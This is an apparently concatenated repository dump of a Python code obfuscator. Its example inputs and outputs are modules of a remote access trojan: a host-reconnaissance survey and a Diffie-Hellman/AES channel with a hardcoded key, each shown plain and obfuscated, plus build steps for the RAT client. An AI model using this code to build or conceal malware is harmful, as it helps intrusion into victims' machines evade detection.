42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/docs/examples/python_code_examples.md:
--------------------------------------------------------------------------------
1 | # Examples Python target files
2 |
3 | ## Basic RAT example project
4 |
5 | - **Basic obfuscation**
6 | - Defined `length` of random strings generated to `32` chars - `replace` all names of variables/classes/functions
7 | - `python3 intensio_obfuscator.py -i obfuscation_examples/python/basic/input/basicRAT-example -o obfuscation_examples/python/basic/output/basicRAT-example -mlen lower -ind 4 -rts --excludewords exclude_examples/exclude_words_by_user.txt`
8 | - [source directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example)
9 | - [output directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example)
10 |
11 |
12 | - **Intermediate obfuscation**
13 | - Defined `length` of random strings generated to `64` chars - `replace` all names of variables/classes/functions - `padding` random python scripts - `replace` all files names
14 | - `python3 intensio_obfuscator.py -i obfuscation_examples/python/basic/input/basicRAT-example -o obfuscation_examples/python/basic/output/basicRAT-example -mlen medium -ind 4 -rts --excludewords exclude_examples/exclude_words_by_user.txt -ps -rfn`
15 | - [source directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example)
16 | - [output directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example)
17 |
18 |
19 | - **Advanced obfuscation**
20 | - Defined `length` of random strings generated to `128` chars - `replace` all names of variables/classes/functions - `padding` random python scripts - `replace` all files names - `replace` all chars by their hexadecimal value
21 | - `python3 intensio_obfuscator.py -i obfuscation_examples/python/basic/input/basicRAT-example -o obfuscation_examples/python/basic/output/basicRAT-example -mlen high -ind 4 -rts --excludewords exclude_examples/exclude_words_by_user.txt -ps -rfn -rth`
22 | - [source directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example)
23 | - [output directory of project](../../src/intensio_obfuscator/obfuscation_examples/python/advanced/output/basicRAT-example)
24 |
25 |
26 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/survey.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import ctypes
6 | import getpass
7 | import os
8 | import platform
9 | import socket
10 | import urllib
11 | import uuid
12 |
13 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
14 |
15 | def run(plat_type):
16 | # OS information
17 | sys_platform = platform.platform()
18 | processor = platform.processor()
19 | architecture = platform.architecture()[0]
20 |
21 | # session information
22 | username = getpass.getuser()
23 |
24 | # network information
25 | hostname = socket.gethostname()
26 | fqdn = socket.getfqdn()
27 | internal_ip = socket.gethostbyname(hostname)
28 | raw_mac = uuid.getnode()
29 | mac = ':'.join(("%012X" % raw_mac)[i:i+2] for i in range(0, 12, 2))
30 |
31 | # get external ip address
32 | ex_ip_grab = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
33 | 'ipecho.net/plain', 'myexternalip.com/raw' ]
34 | external_ip = ''
35 | for url in ex_ip_grab:
36 | try:
37 | external_ip = urllib.urlopen('http://'+url).read().rstrip()
38 | except IOError:
39 | pass
40 | if external_ip and (6 < len(external_ip) < 16):
41 | break
42 |
43 | # platform specific
44 | is_admin = False
45 |
46 | if plat_type.startswith('win'):
47 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
48 |
49 | elif plat_type.startswith('linux') or platform.startswith('darwin'):
50 | is_admin = os.getuid() == 0
51 |
52 | admin_access = 'Yes' if is_admin else 'No'
53 |
54 | survey_results = '''
55 | System Platform - {}
56 | Processor - {}
57 | Architecture - {}
58 | Hostname - {}
59 | FQDN - {}
60 | Internal IP - {}
61 | External IP - {}
62 | MAC Address - {}
63 | Current User - {}
64 | Admin Access - {}
65 | '''.format(sys_platform, processor, architecture,
66 | hostname, fqdn, internal_ip, external_ip, mac, username, admin_access)
67 |
68 | return survey_results
69 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/survey.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import ctypes
6 | import getpass
7 | import os
8 | import platform
9 | import socket
10 | import urllib
11 | import uuid
12 |
13 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
14 |
15 | def run(plat_type):
16 | # OS information
17 | sys_platform = platform.platform()
18 | processor = platform.processor()
19 | architecture = platform.architecture()[0]
20 |
21 | # session information
22 | username = getpass.getuser()
23 |
24 | # network information
25 | hostname = socket.gethostname()
26 | fqdn = socket.getfqdn()
27 | internal_ip = socket.gethostbyname(hostname)
28 | raw_mac = uuid.getnode()
29 | mac = ':'.join(("%012X" % raw_mac)[i:i+2] for i in range(0, 12, 2))
30 |
31 | # get external ip address
32 | ex_ip_grab = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
33 | 'ipecho.net/plain', 'myexternalip.com/raw' ]
34 | external_ip = ''
35 | for url in ex_ip_grab:
36 | try:
37 | external_ip = urllib.urlopen('http://'+url).read().rstrip()
38 | except IOError:
39 | pass
40 | if external_ip and (6 < len(external_ip) < 16):
41 | break
42 |
43 | # platform specific
44 | is_admin = False
45 |
46 | if plat_type.startswith('win'):
47 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
48 |
49 | elif plat_type.startswith('linux') or platform.startswith('darwin'):
50 | is_admin = os.getuid() == 0
51 |
52 | admin_access = 'Yes' if is_admin else 'No'
53 |
54 | survey_results = '''
55 | System Platform - {}
56 | Processor - {}
57 | Architecture - {}
58 | Hostname - {}
59 | FQDN - {}
60 | Internal IP - {}
61 | External IP - {}
62 | MAC Address - {}
63 | Current User - {}
64 | Admin Access - {}
65 | '''.format(sys_platform, processor, architecture,
66 | hostname, fqdn, internal_ip, external_ip, mac, username, admin_access)
67 |
68 | return survey_results
69 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/survey.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import ctypes
6 | import getpass
7 | import os
8 | import platform
9 | import socket
10 | import urllib
11 | import uuid
12 |
13 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
14 |
15 | def run(plat_type):
16 | # OS information
17 | sys_platform = platform.platform()
18 | processor = platform.processor()
19 | architecture = platform.architecture()[0]
20 |
21 | # session information
22 | username = getpass.getuser()
23 |
24 | # network information
25 | hostname = socket.gethostname()
26 | fqdn = socket.getfqdn()
27 | internal_ip = socket.gethostbyname(hostname)
28 | raw_mac = uuid.getnode()
29 | mac = ':'.join(("%012X" % raw_mac)[i:i+2] for i in range(0, 12, 2))
30 |
31 | # get external ip address
32 | ex_ip_grab = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
33 | 'ipecho.net/plain', 'myexternalip.com/raw' ]
34 | external_ip = ''
35 | for url in ex_ip_grab:
36 | try:
37 | external_ip = urllib.urlopen('http://'+url).read().rstrip()
38 | except IOError:
39 | pass
40 | if external_ip and (6 < len(external_ip) < 16):
41 | break
42 |
43 | # platform specific
44 | is_admin = False
45 |
46 | if plat_type.startswith('win'):
47 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
48 |
49 | elif plat_type.startswith('linux') or platform.startswith('darwin'):
50 | is_admin = os.getuid() == 0
51 |
52 | admin_access = 'Yes' if is_admin else 'No'
53 |
54 | survey_results = '''
55 | System Platform - {}
56 | Processor - {}
57 | Architecture - {}
58 | Hostname - {}
59 | FQDN - {}
60 | Internal IP - {}
61 | External IP - {}
62 | MAC Address - {}
63 | Current User - {}
64 | Admin Access - {}
65 | '''.format(sys_platform, processor, architecture,
66 | hostname, fqdn, internal_ip, external_ip, mac, username, admin_access)
67 |
68 | return survey_results
69 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Dev paths for test
2 | intensio/obfuscation_examples/python/dev
3 |
4 | # Byte-compiled / optimized / DLL files
5 | __pycache__/
6 | *.py[cod]
7 | *$py.class
8 |
9 | # C extensions
10 | *.so
11 |
12 | # Distribution / packaging
13 | .Python
14 | build/
15 | develop-eggs/
16 | dist/
17 | downloads/
18 | eggs/
19 | .eggs/
20 | lib/
21 | lib64/
22 | parts/
23 | sdist/
24 | var/
25 | wheels/
26 | pip-wheel-metadata/
27 | share/python-wheels/
28 | *.egg-info/
29 | .installed.cfg
30 | *.egg
31 | MANIFEST
32 |
33 | # PyInstaller
34 | # Usually these files are written by a python script from a template
35 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 |
39 | # Installer logs
40 | pip-log.txt
41 | pip-delete-this-directory.txt
42 |
43 | # Unit test / coverage reports
44 | htmlcov/
45 | .tox/
46 | .nox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *.cover
53 | .hypothesis/
54 | .pytest_cache/
55 |
56 | # Translations
57 | *.mo
58 | *.pot
59 |
60 | # Django stuff:
61 | *.log
62 | local_settings.py
63 | db.sqlite3
64 | db.sqlite3-journal
65 |
66 | # Flask stuff:
67 | instance/
68 | .webassets-cache
69 |
70 | # Scrapy stuff:
71 | .scrapy
72 |
73 | # Sphinx documentation
74 | docs/_build/
75 |
76 | # PyBuilder
77 | target/
78 |
79 | # Jupyter Notebook
80 | .ipynb_checkpoints
81 |
82 | # IPython
83 | profile_default/
84 | ipython_config.py
85 |
86 | # pyenv
87 | .python-version
88 |
89 | # pipenv
90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
93 | # install all needed dependencies.
94 | #Pipfile.lock
95 |
96 | # celery beat schedule file
97 | celerybeat-schedule
98 |
99 | # SageMath parsed files
100 | *.sage.py
101 |
102 | # Environments
103 | .env
104 | .venv
105 | env/
106 | venv/
107 | ENV/
108 | env.bak/
109 | venv.bak/
110 |
111 | # Spyder project settings
112 | .spyderproject
113 | .spyproject
114 |
115 | # Rope project settings
116 | .ropeproject
117 |
118 | # mkdocs documentation
119 | /site
120 |
121 | # mypy
122 | .mypy_cache/
123 | .dmypy.json
124 | dmypy.json
125 |
126 | # Pyre type checker
127 | .pyre/
--------------------------------------------------------------------------------
/docs/recommendations/python_code_recommendations.md:
--------------------------------------------------------------------------------
1 | # Required code format
2 |
3 | ### 1) When [-rts, --replacetostr] is called
4 | - Do not define your names of local `variables/classes/functions` in your source program identically to `functions/classes/parameters-of-function` names of imported libraries
5 | - Can generate an error = **yes**
6 | - **Recommended:**
7 | ```python
8 | import argparse
9 | self.parser.add_argument("-t", "--test")
10 | yourChoices = input("number :")
11 | print(yourChoices)
12 |
13 | # 'yourChoices' variable defined have not the same name with function or parameter of function/class of argparse library, so 'add_arguments' will not be replaced by [-rts --replacetostr] feature
14 |
15 | # If you cannot change the source code edit an file and write all words that will you want to exclude (see src/intenso_obfuscator/exclude_examples/exclude_words_by_user.txt template '--excludewords' parameter)
16 | ```
17 |
18 | - **Not recommended:**
19 | ```python
20 | import argparse
21 | self.parser.add_argument("-t", "--test")
22 | add_argument = input("number :") # Line of error
23 | print(add_argument)
24 |
25 | # 'add_argument' variable defined is already a name of function of argparse library, all 'add_arguments' will be replaced by [-rts --replacetostr] feature
26 | ```
27 |
28 | - You must exclude the name of functions/classes/parameter-of-function of imported libraries into your source program
29 | - Can generate an error = **yes**
30 | - **Recommended:**
31 | ```python
32 | import argparse
33 | self.parser.add_argument("-t", "--test", choices=["test1, test2"], default="test1", help="this is a test !")
34 | yourChoices = input("number :")
35 | print(yourChoices)
36 |
37 | # The [-rts --replacetostr] feature will replace the 'choices', 'default' and 'help' parameters of 'add_argument' function from argparse library, because their syntaxes is -> 'parameter=', except if you have exclude their words in a specific file (see src/intenso_obfuscator/exclude_examples/exclude_words_by_user.txt template and '--excludewords' parameter)
38 | ```
39 | - Edit an specific file (see `src/intenso_obfuscator/exclude_examples/exclude_words_by_user.txt` template and `--excludewords` parameter) and add `choices`, `default` and `help` parameters
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/survey.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import ctypes
3 | import getpass
4 | import os
5 | import platform
6 | import socket
7 | import urllib
8 | import uuid
9 | def riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(plat_type):
10 | VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ = platform.platform()
11 | processor = platform.processor()
12 | architecture = platform.architecture()[0]
13 | ISvdlpvhewrgirYoFDnjblNtehwPhMMK = getpass.getuser()
14 | GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX = socket.gethostname()
15 | oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA = socket.getfqdn()
16 | DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW = socket.gethostbyname(GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX)
17 | XCzKfToqYYbGKorTvIgDxVrFeMjXygKx = uuid.getnode()
18 | QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho = ':'.join(("%012X" % XCzKfToqYYbGKorTvIgDxVrFeMjXygKx)[tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ:tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ+2] for tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ in range(0, 12, 2))
19 | VocjrvTEIWoPKacANvWfHkJqecVvSYGZ = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me',
20 | 'ipecho.net/plain', 'myexternalip.com/raw' ]
21 | IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = ''
22 | for cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs in VocjrvTEIWoPKacANvWfHkJqecVvSYGZ:
23 | try:
24 | IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = urllib.urlopen('http://'+cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs).read().rstrip()
25 | except IOError:
26 | pass
27 | if IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy and (6 < len(IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy) < 16):
28 | break
29 | DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = False
30 | if plat_type.startswith('win'):
31 | DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = ctypes.windll.shell32.IsUserAnAdmin() != 0
32 | elif plat_type.startswith('linux') or platform.startswith('darwin'):
33 | DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = os.getuid() == 0
34 | cJHuovVxMjahBNdXgnBdZRbXZzdthnDi = 'Yes' if DdJfnCODkxsaqSrinvllhdHJcQrqZpdR else 'No'
35 | GAcOCEdSOvLkYQekjjusUCJuXgDnqExO = '''
36 | System Platform - {}
37 | Processor - {}
38 | Architecture - {}
39 | Hostname - {}
40 | FQDN - {}
41 | Internal IP - {}
42 | External IP - {}
43 | MAC Address - {}
44 | Current User - {}
45 | Admin Access - {}
46 | '''.format(VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ, processor, architecture,
47 | GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX, oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA, DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW, IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy, QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho, ISvdlpvhewrgirYoFDnjblNtehwPhMMK, cJHuovVxMjahBNdXgnBdZRbXZzdthnDi)
48 | return GAcOCEdSOvLkYQekjjusUCJuXgDnqExO
49 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/crypto.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import os
6 |
7 | from Crypto import Random
8 | from Crypto.Cipher import AES
9 | from Crypto.Hash import SHA256
10 |
11 | from common import int_to_bytestring, bytestring_to_int
12 |
13 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
14 |
15 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
16 | # generate your own key with...
17 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
18 |
19 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
20 |
21 | class PaddingError(Exception):
22 | pass
23 |
24 | # PKCS#7 - RFC 2315 section 10.3.2
25 | def pkcs7(s, bs=AES.block_size):
26 | i = (bs - (len(s) % bs))
27 | return s + (chr(i)*i)
28 |
29 | # Strip PKCS#7 padding - throws PaddingError on failure
30 | def unpkcs7(s):
31 | i = s[-1]
32 | if s.endswith(i*ord(i)):
33 | return s[:-ord(i)]
34 | raise PaddingError("PKCS7 improper padding {}".format(repr(s[-32:])))
35 |
36 | # Diffie-Hellman Internet Key Exchange (IKE) - RFC 2631
37 | def diffiehellman(sock, server=True, bits=2048):
38 | # using RFC 3526 MOPD group 14 (2048 bits)
39 | p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF;
40 | g = 2
41 | a = bytestring_to_int(os.urandom(32)) # a 256bit number, sufficiently large
42 | xA = pow(g, a, p)
43 |
44 | if server:
45 | sock.send(int_to_bytestring(xA))
46 | b = bytestring_to_int(sock.recv(4096))
47 | else:
48 | b = bytestring_to_int(sock.recv(4096))
49 | sock.send(int_to_bytestring(xA))
50 |
51 | s = pow(b, a, p)
52 | return SHA256.new(int_to_bytestring(s)).digest()
53 |
54 | def AES_encrypt(plaintext, KEY):
55 | plaintext = pkcs7(plaintext)
56 | iv = Random.new().read(AES.block_size)
57 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
58 | return iv + cipher.encrypt(plaintext)
59 |
60 | def AES_decrypt(ciphertext, KEY):
61 | iv = ciphertext[:AES.block_size]
62 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
63 | plaintext = cipher.decrypt(ciphertext[AES.block_size:])
64 | return unpkcs7(plaintext)
65 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/crypto.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import os
6 |
7 | from Crypto import Random
8 | from Crypto.Cipher import AES
9 | from Crypto.Hash import SHA256
10 |
11 | from common import int_to_bytestring, bytestring_to_int
12 |
13 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
14 |
15 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
16 | # generate your own key with...
17 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
18 |
19 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
20 |
21 | class PaddingError(Exception):
22 | pass
23 |
24 | # PKCS#7 - RFC 2315 section 10.3.2
25 | def pkcs7(s, bs=AES.block_size):
26 | i = (bs - (len(s) % bs))
27 | return s + (chr(i)*i)
28 |
29 | # Strip PKCS#7 padding - throws PaddingError on failure
30 | def unpkcs7(s):
31 | i = s[-1]
32 | if s.endswith(i*ord(i)):
33 | return s[:-ord(i)]
34 | raise PaddingError("PKCS7 improper padding {}".format(repr(s[-32:])))
35 |
36 | # Diffie-Hellman Internet Key Exchange (IKE) - RFC 2631
37 | def diffiehellman(sock, server=True, bits=2048):
38 | # using RFC 3526 MOPD group 14 (2048 bits)
39 | p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF;
40 | g = 2
41 | a = bytestring_to_int(os.urandom(32)) # a 256bit number, sufficiently large
42 | xA = pow(g, a, p)
43 |
44 | if server:
45 | sock.send(int_to_bytestring(xA))
46 | b = bytestring_to_int(sock.recv(4096))
47 | else:
48 | b = bytestring_to_int(sock.recv(4096))
49 | sock.send(int_to_bytestring(xA))
50 |
51 | s = pow(b, a, p)
52 | return SHA256.new(int_to_bytestring(s)).digest()
53 |
54 | def AES_encrypt(plaintext, KEY):
55 | plaintext = pkcs7(plaintext)
56 | iv = Random.new().read(AES.block_size)
57 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
58 | return iv + cipher.encrypt(plaintext)
59 |
60 | def AES_decrypt(ciphertext, KEY):
61 | iv = ciphertext[:AES.block_size]
62 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
63 | plaintext = cipher.decrypt(ciphertext[AES.block_size:])
64 | return unpkcs7(plaintext)
65 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/crypto.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import os
6 |
7 | from Crypto import Random
8 | from Crypto.Cipher import AES
9 | from Crypto.Hash import SHA256
10 |
11 | from common import int_to_bytestring, bytestring_to_int
12 |
13 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
14 |
15 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
16 | # generate your own key with...
17 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
18 |
19 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
20 |
21 | class PaddingError(Exception):
22 | pass
23 |
24 | # PKCS#7 - RFC 2315 section 10.3.2
25 | def pkcs7(s, bs=AES.block_size):
26 | i = (bs - (len(s) % bs))
27 | return s + (chr(i)*i)
28 |
29 | # Strip PKCS#7 padding - throws PaddingError on failure
30 | def unpkcs7(s):
31 | i = s[-1]
32 | if s.endswith(i*ord(i)):
33 | return s[:-ord(i)]
34 | raise PaddingError("PKCS7 improper padding {}".format(repr(s[-32:])))
35 |
36 | # Diffie-Hellman Internet Key Exchange (IKE) - RFC 2631
37 | def diffiehellman(sock, server=True, bits=2048):
38 | # using RFC 3526 MOPD group 14 (2048 bits)
39 | p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF;
40 | g = 2
41 | a = bytestring_to_int(os.urandom(32)) # a 256bit number, sufficiently large
42 | xA = pow(g, a, p)
43 |
44 | if server:
45 | sock.send(int_to_bytestring(xA))
46 | b = bytestring_to_int(sock.recv(4096))
47 | else:
48 | b = bytestring_to_int(sock.recv(4096))
49 | sock.send(int_to_bytestring(xA))
50 |
51 | s = pow(b, a, p)
52 | return SHA256.new(int_to_bytestring(s)).digest()
53 |
54 | def AES_encrypt(plaintext, KEY):
55 | plaintext = pkcs7(plaintext)
56 | iv = Random.new().read(AES.block_size)
57 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
58 | return iv + cipher.encrypt(plaintext)
59 |
60 | def AES_decrypt(ciphertext, KEY):
61 | iv = ciphertext[:AES.block_size]
62 | cipher = AES.new(KEY, AES.MODE_CBC, iv)
63 | plaintext = cipher.decrypt(ciphertext[AES.block_size:])
64 | return unpkcs7(plaintext)
65 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/utils/intensio_design.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
4 |
5 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
6 |
7 | import textwrap
8 |
9 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
10 |
11 | INTENSIO_BANNER = textwrap.indent('''
12 |
13 | /$$$$$$ /$$ /$$
14 | |_ $$_/ | $$ |__/
15 | | $$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$ /$$$$$$
16 | | $$ | $$__ $$|_ $$_/ /$$__ $$| $$__ $$ /$$_____/| $$ /$$__ $$
17 | | $$ | $$ \ $$ | $$ | $$$$$$$$| $$ \ $$| $$$$$$ | $$| $$ \ $$
18 | | $$ | $$ | $$ | $$ /$$| $$_____/| $$ | $$ \____ $$| $$| $$ | $$
19 | /$$$$$$| $$ | $$ | $$$$/| $$$$$$$| $$ | $$ /$$$$$$$/| $$| $$$$$$/
20 | |______/|__/ |__/ \___/ \_______/|__/ |__/|_______/ |__/ \______/
21 |
22 |
23 |
24 | /$$$$$$ /$$ /$$$$$$ /$$
25 | /$$__ $$| $$ /$$__ $$ | $$
26 | | $$ \ $$| $$$$$$$ | $$ \__//$$ /$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
27 | | $$ | $$| $$__ $$| $$$$ | $$ | $$ /$$_____/ /$$_____/ |____ $$|_ $$_/ /$$__ $$ /$$__ $$
28 | | $$ | $$| $$ \ $$| $$_/ | $$ | $$| $$$$$$ | $$ /$$$$$$$ | $$ | $$ \ $$| $$ \__/
29 | | $$ | $$| $$ | $$| $$ | $$ | $$ \____ $$| $$ /$$__ $$ | $$ /$$| $$ | $$| $$
30 | | $$$$$$/| $$$$$$$/| $$ | $$$$$$/ /$$$$$$$/| $$$$$$$| $$$$$$$ | $$$$/| $$$$$$/| $$
31 | \______/ |_______/ |__/ \______/ |_______/ \_______/ \_______/ \___/ \______/ |__/
32 |
33 |
34 | ''', "")
35 |
36 |
37 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/crypto.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | from Crypto import Random
4 | from Crypto.Cipher import AES
5 | from Crypto.Hash import SHA256
6 | from common import DKoAKXcLBxaCwnVTbPAvLSNDpZiNHsFA, sDbdGVTmnYPISKJkENqYvrbalANhLchN
7 | GHeDDCRnHFZaExiwVeNKjaSOtFANDvGB = 'b14ce95fa4c33ac2803782d18341869f'
8 | class vXqCxopwEbofOtgCJuepbTTyGEGjClOU(Exception):
9 | pass
10 | def iCFLlNlRvqnMWwoNgJrgzXhZJCDEvFof(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY, IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM=AES.block_size):
11 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ = (IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM - (len(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY) % IcVzPJDfYVsFBnElsTyTCEBzgOsgSIrM))
12 | return hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY + (chr(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ)*tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ)
13 | def cOgdaPObksYNUIjsCnbCSfwoIIqTvIze(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY):
14 | tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ = hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY[-1]
15 | if hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.endswith(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ*ord(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ)):
16 | return hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY[:-ord(tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ)]
